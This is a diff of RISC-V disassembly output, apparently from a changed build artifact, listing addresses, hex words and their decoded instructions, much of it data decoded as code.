+     72e:	fc00                	fsw	fs0,56(s0)
+     730:	000a                	c.slli	zero,0x2
+     732:	0500                	addi	s0,sp,640
+     734:	6900                	flw	fs0,16(a0)
+     736:	003c                	addi	a5,sp,8
+     738:	0500                	addi	s0,sp,640
+     73a:	4c00                	lw	s0,24(s0)
+     73c:	0500009b          	0x500009b
+     740:	7700                	flw	fs0,40(a4)
+     742:	009e                	slli	ra,ra,0x7
+     744:	0500                	addi	s0,sp,640
+     746:	0d00                	addi	s0,sp,656
+     748:	0055                	c.nop	21
+     74a:	0500                	addi	s0,sp,640
+     74c:	a000                	fsd	fs0,0(s0)
+     74e:	0021                	c.nop	8
+     750:	0500                	addi	s0,sp,640
+     752:	4900                	lw	s0,16(a0)
+     754:	0019                	c.nop	6
+     756:	0500                	addi	s0,sp,640
+     758:	3300                	fld	fs0,32(a4)
+     75a:	0065                	c.nop	25
+     75c:	0500                	addi	s0,sp,640
+     75e:	fd00                	fsw	fs0,56(a0)
+     760:	0092                	slli	ra,ra,0x4
+     762:	0500                	addi	s0,sp,640
+     764:	c400                	sw	s0,8(s0)
+     766:	004c                	addi	a1,sp,4
+     768:	0500                	addi	s0,sp,640
+     76a:	3a00                	fld	fs0,48(a2)
+     76c:	0096                	slli	ra,ra,0x5
+     76e:	0500                	addi	s0,sp,640
+     770:	3b00                	fld	fs0,48(a4)
+     772:	0500007b          	0x500007b
+     776:	1600                	addi	s0,sp,800
+     778:	005d                	c.nop	23
+     77a:	0500                	addi	s0,sp,640
+     77c:	3600                	fld	fs0,40(a2)
+     77e:	05000097          	auipc	ra,0x5000
+     782:	2200                	fld	fs0,0(a2)
+     784:	006d                	c.nop	27
+     786:	0500                	addi	s0,sp,640
+     788:	1700                	addi	s0,sp,928
+     78a:	0500001b          	0x500001b
+     78e:	9900                	0x9900
+     790:	0001                	nop
+     792:	0500                	addi	s0,sp,640
+     794:	4800                	lw	s0,16(s0)
+     796:	0021                	c.nop	8
+     798:	0500                	addi	s0,sp,640
+     79a:	0c00                	addi	s0,sp,528
+     79c:	0014                	0x14
+     79e:	0500                	addi	s0,sp,640
+     7a0:	b600                	fsd	fs0,40(a2)
+     7a2:	0005                	c.nop	1
+     7a4:	0500                	addi	s0,sp,640
+     7a6:	e900                	fsw	fs0,16(a0)
+     7a8:	0500005b          	0x500005b
+     7ac:	b100                	fsd	fs0,32(a0)
+     7ae:	002c                	addi	a1,sp,8
+     7b0:	0500                	addi	s0,sp,640
+     7b2:	8200                	0x8200
+     7b4:	0025                	c.nop	9
+     7b6:	0500                	addi	s0,sp,640
+     7b8:	be00                	fsd	fs0,56(a2)
+     7ba:	00a0                	addi	s0,sp,72
+     7bc:	0500                	addi	s0,sp,640
+     7be:	6d00                	flw	fs0,24(a0)
+     7c0:	007a                	c.slli	zero,0x1e
+     7c2:	0500                	addi	s0,sp,640
+     7c4:	a000                	fsd	fs0,0(s0)
+     7c6:	0088                	addi	a0,sp,64
+     7c8:	0500                	addi	s0,sp,640
+     7ca:	0900                	addi	s0,sp,144
+     7cc:	000d                	c.nop	3
+     7ce:	0500                	addi	s0,sp,640
+     7d0:	9a00                	0x9a00
+     7d2:	006d                	c.nop	27
+     7d4:	0500                	addi	s0,sp,640
+     7d6:	6500                	flw	fs0,8(a0)
+     7d8:	000d                	c.nop	3
+     7da:	0500                	addi	s0,sp,640
+     7dc:	d000                	sw	s0,32(s0)
+     7de:	0092                	slli	ra,ra,0x4
+     7e0:	0500                	addi	s0,sp,640
+     7e2:	f400                	fsw	fs0,40(s0)
+     7e4:	0068                	addi	a0,sp,12
+     7e6:	0500                	addi	s0,sp,640
+     7e8:	8c00                	0x8c00
+     7ea:	0036                	c.slli	zero,0xd
+     7ec:	0500                	addi	s0,sp,640
+     7ee:	3200                	fld	fs0,32(a2)
+     7f0:	0081                	addi	ra,ra,0
+     7f2:	0500                	addi	s0,sp,640
+     7f4:	3000                	fld	fs0,32(s0)
+     7f6:	0004                	0x4
+     7f8:	0500                	addi	s0,sp,640
+     7fa:	d200                	sw	s0,32(a2)
+     7fc:	005d                	c.nop	23
+     7fe:	0500                	addi	s0,sp,640
+     800:	4000                	lw	s0,0(s0)
+     802:	0061                	c.nop	24
+     804:	0500                	addi	s0,sp,640
+     806:	2a00                	fld	fs0,16(a2)
+     808:	0088                	addi	a0,sp,64
+     80a:	0500                	addi	s0,sp,640
+     80c:	8800                	0x8800
+     80e:	0095                	addi	ra,ra,5
+     810:	0500                	addi	s0,sp,640
+     812:	2200                	fld	fs0,0(a2)
+     814:	007c                	addi	a5,sp,12
+     816:	0500                	addi	s0,sp,640
+     818:	3200                	fld	fs0,32(a2)
+     81a:	05000063          	beq	zero,a6,85a <__stack_size+0x5a>
+     81e:	1b00                	addi	s0,sp,432
+     820:	005c                	addi	a5,sp,4
+     822:	0500                	addi	s0,sp,640
+     824:	5700                	lw	s0,40(a4)
+     826:	006d                	c.nop	27
+     828:	0500                	addi	s0,sp,640
+     82a:	1600                	addi	s0,sp,800
+     82c:	009a                	slli	ra,ra,0x6
+     82e:	0500                	addi	s0,sp,640
+     830:	c200                	sw	s0,0(a2)
+     832:	0069                	c.nop	26
+     834:	0500                	addi	s0,sp,640
+     836:	ee00                	fsw	fs0,24(a2)
+     838:	0500002f          	0x500002f
+     83c:	6800                	flw	fs0,16(s0)
+     83e:	0500000f          	fence	ow,unknown
+     842:	2c00                	fld	fs0,24(s0)
+     844:	0038                	addi	a4,sp,8
+     846:	0500                	addi	s0,sp,640
+     848:	9e00                	0x9e00
+     84a:	0014                	0x14
+     84c:	0500                	addi	s0,sp,640
+     84e:	2d00                	fld	fs0,24(a0)
+     850:	0009                	c.nop	2
+     852:	0500                	addi	s0,sp,640
+     854:	0e00                	addi	s0,sp,784
+     856:	0074                	addi	a3,sp,12
+     858:	0500                	addi	s0,sp,640
+     85a:	9200                	0x9200
+     85c:	0500001b          	0x500001b
+     860:	5300                	lw	s0,32(a4)
+     862:	0099                	addi	ra,ra,6
+     864:	0500                	addi	s0,sp,640
+     866:	9a00                	0x9a00
+     868:	0500006f          	j	8b8 <__stack_size+0xb8>
+     86c:	c500                	sw	s0,8(a0)
+     86e:	0066                	c.slli	zero,0x19
+     870:	0500                	addi	s0,sp,640
+     872:	4300                	lw	s0,0(a4)
+     874:	000e                	c.slli	zero,0x3
+     876:	0500                	addi	s0,sp,640
+     878:	b700                	fsd	fs0,40(a4)
+     87a:	0055                	c.nop	21
+     87c:	0500                	addi	s0,sp,640
+     87e:	6f00                	flw	fs0,24(a4)
+     880:	0074                	addi	a3,sp,12
+     882:	0500                	addi	s0,sp,640
+     884:	2600                	fld	fs0,8(a2)
+     886:	0500004b          	0x500004b
+     88a:	e600                	fsw	fs0,8(a2)
+     88c:	0084                	addi	s1,sp,64
+     88e:	0500                	addi	s0,sp,640
+     890:	9800                	0x9800
+     892:	0091                	addi	ra,ra,4
+     894:	0500                	addi	s0,sp,640
+     896:	3700                	fld	fs0,40(a4)
+     898:	0035                	c.nop	13
+     89a:	0500                	addi	s0,sp,640
+     89c:	5d00                	lw	s0,56(a0)
+     89e:	0022                	c.slli	zero,0x8
+     8a0:	0500                	addi	s0,sp,640
+     8a2:	7600                	flw	fs0,40(a2)
+     8a4:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     8a8:	a600                	fsd	fs0,8(a2)
+     8aa:	0038                	addi	a4,sp,8
+     8ac:	0500                	addi	s0,sp,640
+     8ae:	e700                	fsw	fs0,8(a4)
+     8b0:	001a                	c.slli	zero,0x6
+     8b2:	0500                	addi	s0,sp,640
+     8b4:	6400                	flw	fs0,8(s0)
+     8b6:	0010                	0x10
+     8b8:	0500                	addi	s0,sp,640
+     8ba:	a700                	fsd	fs0,8(a4)
+     8bc:	05000037          	lui	zero,0x5000
+     8c0:	2900                	fld	fs0,16(a0)
+     8c2:	05000073          	0x5000073
+     8c6:	0100                	addi	s0,sp,128
+     8c8:	0086                	slli	ra,ra,0x1
+     8ca:	0500                	addi	s0,sp,640
+     8cc:	2b00                	fld	fs0,16(a4)
+     8ce:	0500008b          	0x500008b
+     8d2:	3800                	fld	fs0,48(s0)
+     8d4:	05000017          	auipc	zero,0x5000
+     8d8:	ed00                	fsw	fs0,24(a0)
+     8da:	0021                	c.nop	8
+     8dc:	0500                	addi	s0,sp,640
+     8de:	fd00                	fsw	fs0,56(a0)
+     8e0:	0061                	c.nop	24
+     8e2:	0500                	addi	s0,sp,640
+     8e4:	7900                	flw	fs0,48(a0)
+     8e6:	05000017          	auipc	zero,0x5000
      8ea:	0500                	addi	s0,sp,640
-     8ec:	0000                	unimp
-     8ee:	0061                	c.nop	24
-     8f0:	0500                	addi	s0,sp,640
-     8f2:	2a00                	fld	fs0,16(a2)
-     8f4:	0018                	0x18
-     8f6:	0500                	addi	s0,sp,640
-     8f8:	5200                	lw	s0,32(a2)
-     8fa:	0500008b          	0x500008b
-     8fe:	8600                	0x8600
-     900:	006d                	c.nop	27
-     902:	0500                	addi	s0,sp,640
-     904:	0f00                	addi	s0,sp,912
-     906:	0059                	c.nop	22
-     908:	0500                	addi	s0,sp,640
-     90a:	e000                	fsw	fs0,0(s0)
-     90c:	008c                	addi	a1,sp,64
-     90e:	0500                	addi	s0,sp,640
-     910:	f400                	fsw	fs0,40(s0)
-     912:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     916:	5500                	lw	s0,40(a0)
-     918:	0069                	c.nop	26
-     91a:	0500                	addi	s0,sp,640
-     91c:	bf00                	fsd	fs0,56(a4)
-     91e:	0500002b          	0x500002b
-     922:	6d00                	flw	fs0,24(a0)
-     924:	0078                	addi	a4,sp,12
-     926:	0500                	addi	s0,sp,640
-     928:	9700                	0x9700
-     92a:	0028                	addi	a0,sp,8
-     92c:	0500                	addi	s0,sp,640
-     92e:	a500                	fsd	fs0,8(a0)
-     930:	0040                	addi	s0,sp,4
-     932:	0500                	addi	s0,sp,640
-     934:	8800                	0x8800
-     936:	004a                	c.slli	zero,0x12
-     938:	0500                	addi	s0,sp,640
-     93a:	3200                	fld	fs0,32(a2)
-     93c:	05000073          	0x5000073
-     940:	1300                	addi	s0,sp,416
-     942:	00a1                	addi	ra,ra,8
-     944:	0500                	addi	s0,sp,640
-     946:	1c00                	addi	s0,sp,560
-     948:	0071                	c.nop	28
-     94a:	0500                	addi	s0,sp,640
-     94c:	6f00                	flw	fs0,24(a4)
-     94e:	0056                	c.slli	zero,0x15
-     950:	0500                	addi	s0,sp,640
-     952:	b800                	fsd	fs0,48(s0)
-     954:	0000                	unimp
-     956:	0500                	addi	s0,sp,640
-     958:	3b00                	fld	fs0,48(a4)
-     95a:	005d                	c.nop	23
-     95c:	0500                	addi	s0,sp,640
-     95e:	7c00                	flw	fs0,56(s0)
-     960:	001e                	c.slli	zero,0x7
-     962:	0500                	addi	s0,sp,640
-     964:	1800                	addi	s0,sp,48
-     966:	0061                	c.nop	24
-     968:	0500                	addi	s0,sp,640
-     96a:	2c00                	fld	fs0,24(s0)
-     96c:	0500003b          	0x500003b
-     970:	0500                	addi	s0,sp,640
-     972:	007f                	0x7f
-     974:	0500                	addi	s0,sp,640
-     976:	7600                	flw	fs0,40(a2)
-     978:	0076                	c.slli	zero,0x1d
-     97a:	0500                	addi	s0,sp,640
-     97c:	b500                	fsd	fs0,40(a0)
-     97e:	0090                	addi	a2,sp,64
-     980:	0500                	addi	s0,sp,640
-     982:	de00                	sw	s0,56(a2)
-     984:	0060                	addi	s0,sp,12
-     986:	0500                	addi	s0,sp,640
-     988:	0700                	addi	s0,sp,896
-     98a:	05000037          	lui	zero,0x5000
-     98e:	bc00                	fsd	fs0,56(s0)
-     990:	0089                	addi	ra,ra,2
-     992:	0500                	addi	s0,sp,640
-     994:	5400                	lw	s0,40(s0)
-     996:	0065                	c.nop	25
-     998:	0500                	addi	s0,sp,640
-     99a:	b500                	fsd	fs0,40(a0)
-     99c:	005c                	addi	a5,sp,4
-     99e:	0500                	addi	s0,sp,640
-     9a0:	8200                	0x8200
-     9a2:	0038                	addi	a4,sp,8
-     9a4:	0500                	addi	s0,sp,640
-     9a6:	3100                	fld	fs0,32(a0)
-     9a8:	006a                	c.slli	zero,0x1a
-     9aa:	0500                	addi	s0,sp,640
-     9ac:	3400                	fld	fs0,40(s0)
-     9ae:	0024                	addi	s1,sp,8
-     9b0:	0500                	addi	s0,sp,640
-     9b2:	0200                	addi	s0,sp,256
-     9b4:	005a                	c.slli	zero,0x16
-     9b6:	0500                	addi	s0,sp,640
-     9b8:	a700                	fsd	fs0,8(a4)
-     9ba:	0500003b          	0x500003b
-     9be:	c700                	sw	s0,8(a4)
-     9c0:	0500005b          	0x500005b
-     9c4:	e800                	fsw	fs0,16(s0)
-     9c6:	0031                	c.nop	12
-     9c8:	0500                	addi	s0,sp,640
-     9ca:	0500                	addi	s0,sp,640
-     9cc:	004a                	c.slli	zero,0x12
-     9ce:	0500                	addi	s0,sp,640
-     9d0:	f000                	fsw	fs0,32(s0)
-     9d2:	0089                	addi	ra,ra,2
-     9d4:	0500                	addi	s0,sp,640
-     9d6:	c200                	sw	s0,0(a2)
-     9d8:	0500006f          	j	a28 <__stack_size+0x228>
-     9dc:	3500                	fld	fs0,40(a0)
-     9de:	0078                	addi	a4,sp,12
-     9e0:	0500                	addi	s0,sp,640
-     9e2:	af00                	fsd	fs0,24(a4)
-     9e4:	0036                	c.slli	zero,0xd
-     9e6:	0500                	addi	s0,sp,640
-     9e8:	ee00                	fsw	fs0,24(a2)
-     9ea:	0095                	addi	ra,ra,5
-     9ec:	0500                	addi	s0,sp,640
-     9ee:	4b00                	lw	s0,16(a4)
-     9f0:	0500001b          	0x500001b
-     9f4:	a600                	fsd	fs0,8(a2)
-     9f6:	05000033          	0x5000033
-     9fa:	8200                	0x8200
-     9fc:	05000093          	li	ra,80
-     a00:	ae00                	fsd	fs0,24(a2)
-     a02:	0500005b          	0x500005b
-     a06:	5500                	lw	s0,40(a0)
-     a08:	000c                	0xc
-     a0a:	0500                	addi	s0,sp,640
-     a0c:	a500                	fsd	fs0,8(a0)
-     a0e:	00000007          	0x7
-     a12:	0004                	0x4
-     a14:	0500                	addi	s0,sp,640
-     a16:	7704                	flw	fs1,40(a4)
-     a18:	0044                	addi	s1,sp,4
-     a1a:	0500                	addi	s0,sp,640
-     a1c:	fd06                	fsw	ft1,184(sp)
-     a1e:	009d                	addi	ra,ra,7
-     a20:	0500                	addi	s0,sp,640
-     a22:	00458b07          	0x458b07
-     a26:	0500                	addi	s0,sp,640
-     a28:	1508                	addi	a0,sp,672
-     a2a:	002c                	addi	a1,sp,8
-     a2c:	0500                	addi	s0,sp,640
-     a2e:	6e09                	lui	t3,0x2
-     a30:	0034                	addi	a3,sp,8
-     a32:	0000                	unimp
-     a34:	0004                	0x4
-     a36:	0500                	addi	s0,sp,640
-     a38:	a212                	fsd	ft4,256(sp)
-     a3a:	0091                	addi	ra,ra,4
-     a3c:	0500                	addi	s0,sp,640
-     a3e:	1315                	addi	t1,t1,-27
-     a40:	0078                	addi	a4,sp,12
-     a42:	0500                	addi	s0,sp,640
-     a44:	0418                	addi	a4,sp,512
-     a46:	0025                	c.nop	9
-     a48:	0500                	addi	s0,sp,640
-     a4a:	0066821b          	0x66821b
-     a4e:	0500                	addi	s0,sp,640
-     a50:	000cc22b          	0xcc22b
-     a54:	0500                	addi	s0,sp,640
-     a56:	4035                	c.li	zero,13
-     a58:	0500006f          	j	aa8 <__stack_size+0x2a8>
-     a5c:	443c                	lw	a5,72(s0)
-     a5e:	0042                	c.slli	zero,0x10
-     a60:	0500                	addi	s0,sp,640
-     a62:	0069893f a9450500 	0xa94505000069893f
-     a6a:	007e                	c.slli	zero,0x1f
-     a6c:	0500                	addi	s0,sp,640
-     a6e:	1e48                	addi	a0,sp,820
-     a70:	05000097          	auipc	ra,0x5000
-     a74:	0092f84b          	fnmsub.s	fa6,ft5,fs1,ft0
-     a78:	0500                	addi	s0,sp,640
-     a7a:	474e                	lw	a4,208(sp)
-     a7c:	0048                	addi	a0,sp,4
-     a7e:	0000                	unimp
-     a80:	0004                	0x4
+     8ec:	008c                	addi	a1,sp,64
+     8ee:	0500                	addi	s0,sp,640
+     8f0:	2400                	fld	fs0,8(s0)
+     8f2:	006e                	c.slli	zero,0x1b
+     8f4:	0500                	addi	s0,sp,640
+     8f6:	3e00                	fld	fs0,56(a2)
+     8f8:	005a                	c.slli	zero,0x16
+     8fa:	0500                	addi	s0,sp,640
+     8fc:	9300                	0x9300
+     8fe:	008d                	addi	ra,ra,3
+     900:	0500                	addi	s0,sp,640
+     902:	a000                	fsd	fs0,0(s0)
+     904:	0024                	addi	s1,sp,8
+     906:	0500                	addi	s0,sp,640
+     908:	0200                	addi	s0,sp,256
+     90a:	006a                	c.slli	zero,0x1a
+     90c:	0500                	addi	s0,sp,640
+     90e:	8a00                	0x8a00
+     910:	002c                	addi	a1,sp,8
+     912:	0500                	addi	s0,sp,640
+     914:	1500                	addi	s0,sp,672
+     916:	0079                	c.nop	30
+     918:	0500                	addi	s0,sp,640
+     91a:	5b00                	lw	s0,48(a4)
+     91c:	0029                	c.nop	10
+     91e:	0500                	addi	s0,sp,640
+     920:	b000                	fsd	fs0,32(s0)
+     922:	0041                	c.nop	16
+     924:	0500                	addi	s0,sp,640
+     926:	cf00                	sw	s0,24(a4)
+     928:	0500004b          	0x500004b
+     92c:	cd00                	sw	s0,24(a0)
+     92e:	05000073          	0x5000073
+     932:	2c00                	fld	fs0,24(s0)
+     934:	00a1                	addi	ra,ra,8
+     936:	0500                	addi	s0,sp,640
+     938:	9d00                	0x9d00
+     93a:	0071                	c.nop	28
+     93c:	0500                	addi	s0,sp,640
+     93e:	e700                	fsw	fs0,8(a4)
+     940:	0072                	c.slli	zero,0x1c
+     942:	0500                	addi	s0,sp,640
+     944:	b800                	fsd	fs0,48(s0)
+     946:	0000                	unimp
+     948:	0500                	addi	s0,sp,640
+     94a:	3b00                	fld	fs0,48(a4)
+     94c:	005e                	c.slli	zero,0x17
+     94e:	0500                	addi	s0,sp,640
+     950:	b200                	fsd	fs0,32(a2)
+     952:	001e                	c.slli	zero,0x7
+     954:	0500                	addi	s0,sp,640
+     956:	1500                	addi	s0,sp,672
+     958:	0062                	c.slli	zero,0x18
+     95a:	0500                	addi	s0,sp,640
+     95c:	3900                	fld	fs0,48(a0)
+     95e:	003c                	addi	a5,sp,8
+     960:	0500                	addi	s0,sp,640
+     962:	8800                	0x8800
+     964:	007f                	0x7f
+     966:	0500                	addi	s0,sp,640
+     968:	2300                	fld	fs0,0(a4)
+     96a:	05000077          	0x5000077
+     96e:	7a00                	flw	fs0,48(a2)
+     970:	0091                	addi	ra,ra,4
+     972:	0500                	addi	s0,sp,640
+     974:	db00                	sw	s0,48(a4)
+     976:	0061                	c.nop	24
+     978:	0500                	addi	s0,sp,640
+     97a:	d500                	sw	s0,40(a0)
+     97c:	05000037          	lui	zero,0x5000
+     980:	5f00                	lw	s0,56(a4)
+     982:	008a                	slli	ra,ra,0x2
+     984:	0500                	addi	s0,sp,640
+     986:	eb00                	fsw	fs0,16(a4)
+     988:	0065                	c.nop	25
+     98a:	0500                	addi	s0,sp,640
+     98c:	b500                	fsd	fs0,40(a0)
+     98e:	005d                	c.nop	23
+     990:	0500                	addi	s0,sp,640
+     992:	7500                	flw	fs0,40(a0)
+     994:	0039                	c.nop	14
+     996:	0500                	addi	s0,sp,640
+     998:	d300                	sw	s0,32(a4)
+     99a:	006a                	c.slli	zero,0x1a
+     99c:	0500                	addi	s0,sp,640
+     99e:	ed00                	fsw	fs0,24(a0)
+     9a0:	0024                	addi	s1,sp,8
+     9a2:	0500                	addi	s0,sp,640
+     9a4:	1e00                	addi	s0,sp,816
+     9a6:	0500005b          	0x500005b
+     9aa:	b400                	fsd	fs0,40(s0)
+     9ac:	003c                	addi	a5,sp,8
+     9ae:	0500                	addi	s0,sp,640
+     9b0:	d100                	sw	s0,32(a0)
+     9b2:	005c                	addi	a5,sp,4
+     9b4:	0500                	addi	s0,sp,640
+     9b6:	eb00                	fsw	fs0,16(a4)
+     9b8:	0032                	c.slli	zero,0xc
+     9ba:	0500                	addi	s0,sp,640
+     9bc:	3e00                	fld	fs0,56(a2)
+     9be:	0500004b          	0x500004b
+     9c2:	9300                	0x9300
+     9c4:	008a                	slli	ra,ra,0x2
+     9c6:	0500                	addi	s0,sp,640
+     9c8:	5b00                	lw	s0,48(a4)
+     9ca:	0070                	addi	a2,sp,12
+     9cc:	0500                	addi	s0,sp,640
+     9ce:	dd00                	sw	s0,56(a0)
+     9d0:	0078                	addi	a4,sp,12
+     9d2:	0500                	addi	s0,sp,640
+     9d4:	7d00                	flw	fs0,56(a0)
+     9d6:	05000037          	lui	zero,0x5000
+     9da:	9d00                	0x9d00
+     9dc:	0096                	slli	ra,ra,0x5
+     9de:	0500                	addi	s0,sp,640
+     9e0:	8400                	0x8400
+     9e2:	001a                	c.slli	zero,0x6
+     9e4:	0500                	addi	s0,sp,640
+     9e6:	8600                	0x8600
+     9e8:	0034                	addi	a3,sp,8
+     9ea:	0500                	addi	s0,sp,640
+     9ec:	1c00                	addi	s0,sp,560
+     9ee:	0094                	addi	a3,sp,64
+     9f0:	0500                	addi	s0,sp,640
+     9f2:	8b00                	0x8b00
+     9f4:	0009                	c.nop	2
+     9f6:	0500                	addi	s0,sp,640
+     9f8:	e300                	fsw	fs0,0(a4)
+     9fa:	0500000b          	0x500000b
+     9fe:	8000                	0x8000
+     a00:	0076                	c.slli	zero,0x1d
+     a02:	0000                	unimp
+     a04:	0004                	0x4
+     a06:	0500                	addi	s0,sp,640
+     a08:	7f04                	flw	fs1,56(a4)
+     a0a:	0045                	c.nop	17
+     a0c:	0500                	addi	s0,sp,640
+     a0e:	5f06                	lw	t5,96(sp)
+     a10:	009e                	slli	ra,ra,0x7
+     a12:	0500                	addi	s0,sp,640
+     a14:	00469807          	0x469807
+     a18:	0500                	addi	s0,sp,640
+     a1a:	e008                	fsw	fa0,0(s0)
+     a1c:	002c                	addi	a1,sp,8
+     a1e:	0500                	addi	s0,sp,640
+     a20:	4e09                	li	t3,2
+     a22:	0035                	c.nop	13
+     a24:	0000                	unimp
+     a26:	0004                	0x4
+     a28:	0500                	addi	s0,sp,640
+     a2a:	8012                	c.mv	zero,tp
+     a2c:	0500000f          	fence	ow,unknown
+     a30:	a515                	j	1054 <__stack_size+0x854>
+     a32:	0078                	addi	a4,sp,12
+     a34:	0500                	addi	s0,sp,640
+     a36:	bd18                	fsd	fa4,56(a0)
+     a38:	0025                	c.nop	9
+     a3a:	0500                	addi	s0,sp,640
+     a3c:	000c5e1b          	0xc5e1b
+     a40:	0500                	addi	s0,sp,640
+     a42:	000c502b          	0xc502b
+     a46:	0500                	addi	s0,sp,640
+     a48:	d935                	beqz	a0,9bc <__stack_size+0x1bc>
+     a4a:	0500006f          	j	a9a <__stack_size+0x29a>
+     a4e:	433c                	lw	a5,64(a4)
+     a50:	05000043          	0x5000043
+     a54:	006a263f 2c450500 	0x2c450500006a263f
+     a5c:	007f                	0x7f
+     a5e:	0500                	addi	s0,sp,640
+     a60:	cd48                	sw	a0,28(a0)
+     a62:	05000097          	auipc	ra,0x5000
+     a66:	0093944b          	fnmsub.s	fs0,ft7,fs1,ft0,rtz
+     a6a:	0500                	addi	s0,sp,640
+     a6c:	644e                	flw	fs0,208(sp)
+     a6e:	0049                	c.nop	18
+     a70:	0000                	unimp
+     a72:	0004                	0x4
+     a74:	0500                	addi	s0,sp,640
+     a76:	19ef01c3          	fmadd.s	ft3,ft10,ft10,ft3,rne
+     a7a:	0000                	unimp
+     a7c:	d905                	beqz	a0,9ac <__stack_size+0x1ac>
+     a7e:	002da803          	lw	a6,2(s11)
      a82:	0500                	addi	s0,sp,640
-     a84:	1ab901c3          	fmadd.d	ft3,fs2,fa1,ft3,rne
+     a84:	03dc                	addi	a5,sp,452
+     a86:	926a                	add	tp,tp,s10
      a88:	0000                	unimp
-     a8a:	d905                	beqz	a0,9ba <__stack_size+0x1ba>
-     a8c:	00455a03          	lhu	s4,4(a0)
-     a90:	0500                	addi	s0,sp,640
-     a92:	03dc                	addi	a5,sp,452
-     a94:	000091c3          	fmadd.s	ft3,ft1,ft0,ft0,rtz
-     a98:	0400                	addi	s0,sp,512
-     a9a:	0000                	unimp
-     a9c:	1605                	addi	a2,a2,-31
-     a9e:	7c91                	lui	s9,0xfffe4
-     aa0:	0000                	unimp
-     aa2:	2105                	jal	ec2 <__stack_size+0x6c2>
-     aa4:	68a1                	lui	a7,0x8
-     aa6:	0000                	unimp
-     aa8:	2805                	jal	ad8 <__stack_size+0x2d8>
-     aaa:	802e                	c.mv	zero,a1
+     a8a:	0400                	addi	s0,sp,512
+     a8c:	0000                	unimp
+     a8e:	1605                	addi	a2,a2,-31
+     a90:	7d04                	flw	fs1,56(a0)
+     a92:	0000                	unimp
+     a94:	2105                	jal	eb4 <__stack_size+0x6b4>
+     a96:	695e                	flw	fs2,212(sp)
+     a98:	0000                	unimp
+     a9a:	2805                	jal	aca <__stack_size+0x2ca>
+     a9c:	80b1                	srli	s1,s1,0xc
+     a9e:	0000                	unimp
+     aa0:	8306                	mv	t1,ra
+     aa2:	ca01                	beqz	a2,ab2 <__stack_size+0x2b2>
+     aa4:	002a                	c.slli	zero,0xa
+     aa6:	0500                	addi	s0,sp,640
+     aa8:	0184                	addi	s1,sp,192
+     aaa:	6dc9                	lui	s11,0x12
      aac:	0000                	unimp
-     aae:	8306                	mv	t1,ra
-     ab0:	ff01                	bnez	a4,9c8 <__stack_size+0x1c8>
-     ab2:	0029                	c.nop	10
-     ab4:	0500                	addi	s0,sp,640
-     ab6:	0184                	addi	s1,sp,192
-     ab8:	00006d2b          	0x6d2b
-     abc:	8806                	mv	a6,ra
-     abe:	e801                	bnez	s0,ace <__stack_size+0x2ce>
-     ac0:	0022                	c.slli	zero,0x8
-     ac2:	0500                	addi	s0,sp,640
-     ac4:	0189                	addi	gp,gp,2
-     ac6:	83e2                	mv	t2,s8
+     aae:	8806                	mv	a6,ra
+     ab0:	9901                	andi	a0,a0,-32
+     ab2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     ab6:	0189                	addi	gp,gp,2
+     ab8:	8468                	0x8468
+     aba:	0000                	unimp
+     abc:	8a06                	mv	s4,ra
+     abe:	7701                	lui	a4,0xfffe0
+     ac0:	05000047          	0x5000047
+     ac4:	6db1018b          	0x6db1018b
      ac8:	0000                	unimp
-     aca:	8a06                	mv	s4,ra
-     acc:	8b01                	andi	a4,a4,0
-     ace:	0008                	0x8
-     ad0:	0500                	addi	s0,sp,640
-     ad2:	6d13018b          	0x6d13018b
+     aca:	9e06                	add	t3,t3,ra
+     acc:	dc01                	beqz	s0,9e4 <__stack_size+0x1e4>
+     ace:	009f 0500 019f      	0x19f0500009f
+     ad4:	8064                	0x8064
      ad6:	0000                	unimp
-     ad8:	9e06                	add	t3,t3,ra
-     ada:	a401                	j	cda <__stack_size+0x4da>
-     adc:	009f 0500 019f      	0x19f0500009f
-     ae2:	7fe1                	lui	t6,0xffff8
+     ad8:	f705                	bnez	a4,a00 <__stack_size+0x200>
+     ada:	2d01                	jal	10ea <__stack_size+0x8ea>
+     adc:	0061                	c.nop	24
+     ade:	0500                	addi	s0,sp,640
+     ae0:	01fd                	addi	gp,gp,31
+     ae2:	7092                	flw	ft1,36(sp)
      ae4:	0000                	unimp
-     ae6:	f705                	bnez	a4,a0e <__stack_size+0x20e>
-     ae8:	3001                	jal	2e8 <__stack_size-0x518>
-     aea:	0060                	addi	s0,sp,12
+     ae6:	8505                	srai	a0,a0,0x1
+     ae8:	d602                	sw	zero,44(sp)
+     aea:	007a                	c.slli	zero,0x1e
      aec:	0500                	addi	s0,sp,640
-     aee:	01fd                	addi	gp,gp,31
-     af0:	7011                	c.lui	zero,0xfffe4
-     af2:	0000                	unimp
-     af4:	8505                	srai	a0,a0,0x1
-     af6:	5d02                	lw	s10,32(sp)
-     af8:	007a                	c.slli	zero,0x1e
+     aee:	028a                	slli	t0,t0,0x2
+     af0:	000016c7          	fmsub.s	fa3,ft0,ft0,ft0,rtz
+     af4:	9505                	srai	a0,a0,0x21
+     af6:	4402                	lw	s0,0(sp)
+     af8:	0060                	addi	s0,sp,12
      afa:	0500                	addi	s0,sp,640
-     afc:	028a                	slli	t0,t0,0x2
-     afe:	1778                	addi	a4,sp,940
+     afc:	0299                	addi	t0,t0,6
+     afe:	020a                	slli	tp,tp,0x2
      b00:	0000                	unimp
-     b02:	9505                	srai	a0,a0,0x21
-     b04:	3802                	fld	fa6,32(sp)
-     b06:	005f 0500 0299      	0x2990500005f
-     b0c:	0000023f 74029f05 	0x74029f050000023f
-     b14:	0045                	c.nop	17
-     b16:	0500                	addi	s0,sp,640
-     b18:	39c602af          	0x39c602af
+     b02:	9f05                	0x9f05
+     b04:	8102                	jr	sp
+     b06:	0046                	c.slli	zero,0x11
+     b08:	0500                	addi	s0,sp,640
+     b0a:	3ab902af          	0x3ab902af
+     b0e:	0000                	unimp
+     b10:	bf05                	j	a40 <__stack_size+0x240>
+     b12:	6e02                	flw	ft8,0(sp)
+     b14:	05000063          	beq	zero,a6,b54 <__stack_size+0x354>
+     b18:	02ca                	slli	t0,t0,0x12
+     b1a:	7cee                	flw	fs9,248(sp)
      b1c:	0000                	unimp
-     b1e:	bf05                	j	a4e <__stack_size+0x24e>
-     b20:	a302                	fsd	ft0,384(sp)
-     b22:	0062                	c.slli	zero,0x18
-     b24:	0500                	addi	s0,sp,640
-     b26:	02ca                	slli	t0,t0,0x12
-     b28:	00007c7b          	0x7c7b
-     b2c:	0400                	addi	s0,sp,512
-     b2e:	0000                	unimp
